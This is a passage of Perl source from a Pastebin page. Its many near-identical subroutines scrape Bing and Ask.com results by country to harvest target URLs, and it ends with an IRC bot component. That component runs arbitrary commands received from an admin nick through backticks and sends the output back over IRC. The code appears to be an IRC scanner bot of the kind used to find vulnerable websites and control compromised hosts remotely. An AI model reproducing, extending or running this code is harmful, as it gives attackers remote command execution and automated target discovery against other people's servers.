  5171.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
  5172.         my $res = &search_engine_query($search);
  5173.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5174.             my $link = $1;
  5175.             if ($link !~ /msn|live|bingIT/) {
  5176.                 my @grep = links($link);
  5177.                 push(@list,@grep);
  5178.             }
  5179.         }
  5180.     }
  5181.     return @list;
  5182. }
  5183. sleep(4);
  5184. sub bingBE() {
  5185.     my @list;
  5186.     my $key = $_[0];
  5187.     for (my $i=1; $i<=1000; $i+=10) {
  5188.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
  5189.         my $res = &search_engine_query($search);
  5190.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5191.             my $link = $1;
  5192.             if ($link !~ /msn|live|bingBE/) {
  5193.                 my @grep = links($link);
  5194.                 push(@list,@grep);
  5195.             }
  5196.         }
  5197.     }
  5198.     return @list;
  5199. }
  5200.  
  5201. sub bingNL() {
  5202.     my @list;
  5203.     my $key = $_[0];
  5204.     for (my $i=1; $i<=1000; $i+=10) {
  5205.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
  5206.         my $res = &search_engine_query($search);
  5207.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5208.             my $link = $1;
  5209.             if ($link !~ /msn|live|bingNL/) {
  5210.                 my @grep = links($link);
  5211.                 push(@list,@grep);
  5212.             }
  5213.         }
  5214.     }
  5215.     return @list;
  5216. }
  5217.  
  5218. sub bingPT() {
  5219.     my @list;
  5220.     my $key = $_[0];
  5221.     for (my $i=1; $i<=1000; $i+=10) {
  5222.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
  5223.         my $res = &search_engine_query($search);
  5224.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5225.             my $link = $1;
  5226.             if ($link !~ /msn|live|bingPT/) {
  5227.                 my @grep = links($link);
  5228.                 push(@list,@grep);
  5229.             }
  5230.         }
  5231.     }
  5232.     return @list;
  5233. }
  5234.  
  5235. sub bingNO() {
  5236.     my @list;
  5237.     my $key = $_[0];
  5238.     for (my $i=1; $i<=1000; $i+=10) {
  5239.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
  5240.         my $res = &search_engine_query($search);
  5241.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5242.             my $link = $1;
  5243.             if ($link !~ /msn|live|bingNO/) {
  5244.                 my @grep = links($link);
  5245.                 push(@list,@grep);
  5246.             }
  5247.         }
  5248.     }
  5249.     return @list;
  5250. }
  5251.  
  5252. sub bingDK() {
  5253.     my @list;
  5254.     my $key = $_[0];
  5255.     for (my $i=1; $i<=1000; $i+=10) {
  5256.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
  5257.         my $res = &search_engine_query($search);
  5258.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5259.             my $link = $1;
  5260.             if ($link !~ /msn|live|bingDK/) {
  5261.                 my @grep = links($link);
  5262.                 push(@list,@grep);
  5263.             }
  5264.         }
  5265.     }
  5266.     return @list;
  5267. }
  5268.  
  5269. sub bingSE() {
  5270.     my @list;
  5271.     my $key = $_[0];
  5272.     for (my $i=1; $i<=1000; $i+=10) {
  5273.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
  5274.         my $res = &search_engine_query($search);
  5275.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5276.             my $link = $1;
  5277.             if ($link !~ /msn|live|bingSE/) {
  5278.                 my @grep = links($link);
  5279.                 push(@list,@grep);
  5280.             }
  5281.         }
  5282.     }
  5283.     return @list;
  5284. }
  5285. sleep(4);
  5286. sub bingCH() {
  5287.     my @list;
  5288.     my $key = $_[0];
  5289.     for (my $i=1; $i<=1000; $i+=10) {
  5290.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
  5291.         my $res = &search_engine_query($search);
  5292.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5293.             my $link = $1;
  5294.             if ($link !~ /msn|live|bingCH/) {
  5295.                 my @grep = links($link);
  5296.                 push(@list,@grep);
  5297.             }
  5298.         }
  5299.     }
  5300.     return @list;
  5301. }
  5302.  
  5303. sub bingNZ() {
  5304.     my @list;
  5305.     my $key = $_[0];
  5306.     for (my $i=1; $i<=1000; $i+=10) {
  5307.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
  5308.         my $res = &search_engine_query($search);
  5309.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5310.             my $link = $1;
  5311.             if ($link !~ /msn|live|bingNZ/) {
  5312.                 my @grep = links($link);
  5313.                 push(@list,@grep);
  5314.             }
  5315.         }
  5316.     }
  5317.     return @list;
  5318. }
  5319.  
  5320. sub bingRU() {
  5321.     my @list;
  5322.     my $key = $_[0];
  5323.     for (my $i=1; $i<=1000; $i+=10) {
  5324.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
  5325.         my $res = &search_engine_query($search);
  5326.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5327.             my $link = $1;
  5328.             if ($link !~ /msn|live|bingRU/) {
  5329.                 my @grep = links($link);
  5330.                 push(@list,@grep);
  5331.             }
  5332.         }
  5333.     }
  5334.     return @list;
  5335. }
  5336.  
  5337. sub bingJP() {
  5338.     my @list;
  5339.     my $key = $_[0];
  5340.     for (my $i=1; $i<=1000; $i+=10) {
  5341.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
  5342.         my $res = &search_engine_query($search);
  5343.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5344.             my $link = $1;
  5345.             if ($link !~ /msn|live|bingJP/) {
  5346.                 my @grep = links($link);
  5347.                 push(@list,@grep);
  5348.             }
  5349.         }
  5350.     }
  5351.     return @list;
  5352. }
  5353.  
  5354. sub bingCN() {
  5355.     my @list;
  5356.     my $key = $_[0];
  5357.     for (my $i=1; $i<=1000; $i+=10) {
  5358.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
  5359.         my $res = &search_engine_query($search);
  5360.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5361.             my $link = $1;
  5362.             if ($link !~ /msn|live|bingCN/) {
  5363.                 my @grep = links($link);
  5364.                 push(@list,@grep);
  5365.             }
  5366.         }
  5367.     }
  5368.     return @list;
  5369. }
  5370.  
  5371. sub bingKR() {
  5372.     my @list;
  5373.     my $key = $_[0];
  5374.     for (my $i=1; $i<=1000; $i+=10) {
  5375.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
  5376.         my $res = &search_engine_query($search);
  5377.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5378.             my $link = $1;
  5379.             if ($link !~ /msn|live|bingKR/) {
  5380.                 my @grep = links($link);
  5381.                 push(@list,@grep);
  5382.             }
  5383.         }
  5384.     }
  5385.     return @list;
  5386. }
  5387. sleep(4);
  5388. sub bingMX() {
  5389.     my @list;
  5390.     my $key = $_[0];
  5391.     for (my $i=1; $i<=1000; $i+=10) {
  5392.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
  5393.         my $res = &search_engine_query($search);
  5394.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5395.             my $link = $1;
  5396.             if ($link !~ /msn|live|bingMX/) {
  5397.                 my @grep = links($link);
  5398.                 push(@list,@grep);
  5399.             }
  5400.         }
  5401.     }
  5402.     return @list;
  5403. }
  5404.  
  5405. sub bingAR() {
  5406.     my @list;
  5407.     my $key = $_[0];
  5408.     for (my $i=1; $i<=1000; $i+=10) {
  5409.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
  5410.         my $res = &search_engine_query($search);
  5411.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5412.             my $link = $1;
  5413.             if ($link !~ /msn|live|bingAR/) {
  5414.                 my @grep = links($link);
  5415.                 push(@list,@grep);
  5416.             }
  5417.         }
  5418.     }
  5419.     return @list;
  5420. }
  5421.  
  5422. sub bingCL() {
  5423.     my @list;
  5424.     my $key = $_[0];
  5425.     for (my $i=1; $i<=1000; $i+=10) {
  5426.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
  5427.         my $res = &search_engine_query($search);
  5428.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5429.             my $link = $1;
  5430.             if ($link !~ /msn|live|bingCL/) {
  5431.                 my @grep = links($link);
  5432.                 push(@list,@grep);
  5433.             }
  5434.         }
  5435.     }
  5436.     return @list;
  5437. }
  5438.  
  5439. sub bingAU() {
  5440.     my @list;
  5441.     my $key = $_[0];
  5442.     for (my $i=1; $i<=1000; $i+=10) {
  5443.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
  5444.         my $res = &search_engine_query($search);
  5445.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  5446.             my $link = $1;
  5447.             if ($link !~ /msn|live|bingAU/) {
  5448.                 my @grep = links($link);
  5449.                 push(@list,@grep);
  5450.             }
  5451.         }
  5452.     }
  5453.     return @list;
  5454. }
  5455.  
  5456. sub askCA() {
  5457.     my @list;
  5458.     my $key = $_[0];
  5459.     for (my $i=1; $i<=100; $i+=1) {
  5460.         my $search = ("http://ca.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5461.         my $res = &search_engine_query($search);
  5462.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5463.             my $link = $1;
  5464.             if ($link !~ /askCA\.com/){
  5465.                 my @grep = links($link);
  5466.                 push(@list,@grep);
  5467.             }
  5468.         }
  5469.     }
  5470.     return @list;
  5471. }
  5472. sleep(4);
  5473. sub askDE() {
  5474.     my @list;
  5475.     my $key = $_[0];
  5476.     for (my $i=1; $i<=100; $i+=1) {
  5477.         my $search = ("http://de.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5478.         my $res = &search_engine_query($search);
  5479.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5480.             my $link = $1;
  5481.             if ($link !~ /askDE\.com/){
  5482.                 my @grep = links($link);
  5483.                 push(@list,@grep);
  5484.             }
  5485.         }
  5486.     }
  5487.     return @list;
  5488. }
  5489.  
  5490. sub askIT() {
  5491.     my @list;
  5492.     my $key = $_[0];
  5493.     for (my $i=1; $i<=100; $i+=1) {
  5494.         my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5495.         my $res = &search_engine_query($search);
  5496.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5497.             my $link = $1;
  5498.             if ($link !~ /askIT\.com/){
  5499.                 my @grep = links($link);
  5500.                 push(@list,@grep);
  5501.             }
  5502.         }
  5503.     }
  5504.     return @list;
  5505. }
  5506.  
  5507. sub askUK() {
  5508.     my @list;
  5509.     my $key = $_[0];
  5510.     for (my $i=1; $i<=100; $i+=1) {
  5511.         my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5512.         my $res = &search_engine_query($search);
  5513.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5514.             my $link = $1;
  5515.             if ($link !~ /askUK\.com/){
  5516.                 my @grep = links($link);
  5517.                 push(@list,@grep);
  5518.             }
  5519.         }
  5520.     }
  5521.     return @list;
  5522. }
  5523.  
  5524. sub askFR() {
  5525.     my @list;
  5526.     my $key = $_[0];
  5527.     for (my $i=1; $i<=100; $i+=1) {
  5528.         my $search = ("http://fr.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5529.         my $res = &search_engine_query($search);
  5530.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5531.             my $link = $1;
  5532.             if ($link !~ /askFR\.com/){
  5533.                 my @grep = links($link);
  5534.                 push(@list,@grep);
  5535.             }
  5536.         }
  5537.     }
  5538.     return @list;
  5539. }
  5540.  
  5541. sub askES() {
  5542.     my @list;
  5543.     my $key = $_[0];
  5544.     for (my $i=1; $i<=100; $i+=1) {
  5545.         my $search = ("http://es.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5546.         my $res = &search_engine_query($search);
  5547.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5548.             my $link = $1;
  5549.             if ($link !~ /askES\.com/){
  5550.                 my @grep = links($link);
  5551.                 push(@list,@grep);
  5552.             }
  5553.         }
  5554.     }
  5555.     return @list;
  5556. }
  5557.  
  5558. sub askRU() {
  5559.     my @list;
  5560.     my $key = $_[0];
  5561.     for (my $i=1; $i<=100; $i+=1) {
  5562.         my $search = ("http://ru.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5563.         my $res = &search_engine_query($search);
  5564.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5565.             my $link = $1;
  5566.             if ($link !~ /askRU\.com/){
  5567.                 my @grep = links($link);
  5568.                 push(@list,@grep);
  5569.             }
  5570.         }
  5571.     }
  5572.     return @list;
  5573. }
  5574. sleep(4);
  5575. sub askNL() {
  5576.     my @list;
  5577.     my $key = $_[0];
  5578.     for (my $i=1; $i<=100; $i+=1) {
  5579.         my $search = ("http://nl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5580.         my $res = &search_engine_query($search);
  5581.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5582.             my $link = $1;
  5583.             if ($link !~ /askNL\.com/){
  5584.                 my @grep = links($link);
  5585.                 push(@list,@grep);
  5586.             }
  5587.         }
  5588.     }
  5589.     return @list;
  5590. }
  5591.  
  5592. sub askPL() {
  5593.     my @list;
  5594.     my $key = $_[0];
  5595.     for (my $i=1; $i<=100; $i+=1) {
  5596.         my $search = ("http://pl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5597.         my $res = &search_engine_query($search);
  5598.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5599.             my $link = $1;
  5600.             if ($link !~ /askPL\.com/){
  5601.                 my @grep = links($link);
  5602.                 push(@list,@grep);
  5603.             }
  5604.         }
  5605.     }
  5606.     return @list;
  5607. }
  5608.  
  5609. sub askAT() {
  5610.     my @list;
  5611.     my $key = $_[0];
  5612.     for (my $i=1; $i<=100; $i+=1) {
  5613.         my $search = ("http://at.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5614.         my $res = &search_engine_query($search);
  5615.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5616.             my $link = $1;
  5617.             if ($link !~ /askAT\.com/){
  5618.                 my @grep = links($link);
  5619.                 push(@list,@grep);
  5620.             }
  5621.         }
  5622.     }
  5623.     return @list;
  5624. }
  5625.  
  5626. sub askSE() {
  5627.     my @list;
  5628.     my $key = $_[0];
  5629.     for (my $i=1; $i<=100; $i+=1) {
  5630.         my $search = ("http://se.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5631.         my $res = &search_engine_query($search);
  5632.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5633.             my $link = $1;
  5634.             if ($link !~ /askSE\.com/){
  5635.                 my @grep = links($link);
  5636.                 push(@list,@grep);
  5637.             }
  5638.         }
  5639.     }
  5640.     return @list;
  5641. }
  5642.  
  5643. sub askDK() {
  5644.     my @list;
  5645.     my $key = $_[0];
  5646.     for (my $i=1; $i<=100; $i+=1) {
  5647.         my $search = ("http://dk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5648.         my $res = &search_engine_query($search);
  5649.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5650.             my $link = $1;
  5651.             if ($link !~ /askDK\.com/){
  5652.                 my @grep = links($link);
  5653.                 push(@list,@grep);
  5654.             }
  5655.         }
  5656.     }
  5657.     return @list;
  5658. }
  5659.  
  5660. sub askNO() {
  5661.     my @list;
  5662.     my $key = $_[0];
  5663.     for (my $i=1; $i<=100; $i+=1) {
  5664.         my $search = ("http://no.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5665.         my $res = &search_engine_query($search);
  5666.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5667.             my $link = $1;
  5668.             if ($link !~ /askNO\.com/){
  5669.                 my @grep = links($link);
  5670.                 push(@list,@grep);
  5671.             }
  5672.         }
  5673.     }
  5674.     return @list;
  5675. }
  5676. sleep(4);
  5677. sub askAU() {
  5678.     my @list;
  5679.     my $key = $_[0];
  5680.     for (my $i=1; $i<=100; $i+=1) {
  5681.         my $search = ("http://au.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5682.         my $res = &search_engine_query($search);
  5683.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5684.             my $link = $1;
  5685.             if ($link !~ /askAU\.com/){
  5686.                 my @grep = links($link);
  5687.                 push(@list,@grep);
  5688.             }
  5689.         }
  5690.     }
  5691.     return @list;
  5692. }
  5693.  
  5694. sub askBR() {
  5695.     my @list;
  5696.     my $key = $_[0];
  5697.     for (my $i=1; $i<=100; $i+=1) {
  5698.         my $search = ("http://br.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5699.         my $res = &search_engine_query($search);
  5700.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5701.             my $link = $1;
  5702.             if ($link !~ /askBR\.com/){
  5703.                 my @grep = links($link);
  5704.                 push(@list,@grep);
  5705.             }
  5706.         }
  5707.     }
  5708.     return @list;
  5709. }
  5710.  
  5711. sub askMX() {
  5712.     my @list;
  5713.     my $key = $_[0];
  5714.     for (my $i=1; $i<=100; $i+=1) {
  5715.         my $search = ("http://mx.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5716.         my $res = &search_engine_query($search);
  5717.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5718.             my $link = $1;
  5719.             if ($link !~ /askMX\.com/){
  5720.                 my @grep = links($link);
  5721.                 push(@list,@grep);
  5722.             }
  5723.         }
  5724.     }
  5725.     return @list;
  5726. }
  5727. sleep(4);
  5728. sub askJP() {
  5729.     my @list;
  5730.     my $key = $_[0];
  5731.     for (my $i=1; $i<=100; $i+=1) {
  5732.         my $search = ("http://jp.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  5733.         my $res = &search_engine_query($search);
  5734.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  5735.             my $link = $1;
  5736.             if ($link !~ /askJP\.com/){
  5737.                 my @grep = links($link);
  5738.                 push(@list,@grep);
  5739.             }
  5740.         }
  5741.     }
  5742.     return @list;
  5743. }
  5744.  
  5745. #########################################
  5746. sub clean() {
  5747. my @cln = ();
  5748. my %visit = ();
  5749. foreach my $element (@_) {
  5750. $element =~ s/\/+/\//g;
  5751. next if $visit{$element}++;
  5752. push @cln, $element;
  5753. }
  5754. return @cln;
  5755. }
  5756. sub links() {
  5757. my @list;
  5758. my $link = $_[0];
  5759. my $host = $_[0];
  5760. my $hdir = $_[0];
  5761. $hdir =~ s/(.*)\/[^\/]*$/\1/;
  5762. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  5763. $host .= "/";
  5764. $link .= "/";
  5765. $hdir .= "/";
  5766. $host =~ s/\/\//\//g;
  5767. $hdir =~ s/\/\//\//g;
  5768. $link =~ s/\/\//\//g;
  5769. push(@list,$link,$host,$hdir);
  5770. return @list;
  5771. }
  5772. sub search_engine_query() {
  5773. my $url = $_[0];
  5774. $url =~ s/http:\/\///;
  5775. my $host = $url;
  5776. my $query = $url;
  5777. my $page = "";
  5778. $host =~ s/href=\"?http:\/\///;
  5779. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  5780. $query =~ s/$host//;
  5781. if ($query eq "") { $query = "/"; }
  5782. eval {
  5783. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  5784. my $sget = "GET $query HTTP/1.0\r\n";
  5785. $sget .= "Host: $host\r\n";
  5786. $sget .= "Accept: */*\r\n";
  5787. $sget .= "User-Agent: $uagent\r\n";
  5788. $sget .= "Connetion: Close\r\n\r\n";
  5789. print $sock $sget;
  5790. my @pages = <$sock>;
  5791. $page = "@pages";
  5792. close($sock);
  5793. };
  5794. return $page;
  5795. }
  5796. #########################################
  5797. sub shell() {
  5798. my $path = $_[0];
  5799. my $cmd = $_[1];
  5800. if ($cmd =~ /cd (.*)/) {
  5801. chdir("$1") || &msg("$path","No such file or directory");
  5802. return;
  5803. }
  5804. elsif ($pid = fork) { waitpid($pid, 0); }
  5805. else { if (fork) { exit; } else {
  5806. my @output = `$cmd 2>&1 3>&1`;
  5807. my $c = 0;
  5808. foreach my $output (@output) {
  5809. $c++;
  5810. chop $output;
  5811. &msg("$path","$output");
  5812. if ($c == 5) { $c = 0; sleep 3; }
  5813. }
  5814. exit;
  5815. }}
  5816. }
  5817. sub isAdmin() {
  5818. my $status = 0;
  5819. my $nick = $_[0];
  5820. if ($nick eq $admin) { $status = 1; }
  5821. return $status;
  5822. }
  5823. sub msg() {
  5824. return unless $#_ == 1;
  5825. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  5826. }
  5827. sub nick() {
  5828. return unless $#_ == 0;
  5829. sendraw("NICK $_[0]");
  5830. }
  5831. sub notice() {
  5832. return unless $#_ == 1;
  5833. sendraw("NOTICE $_[0] :$_[1]");
  5834. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top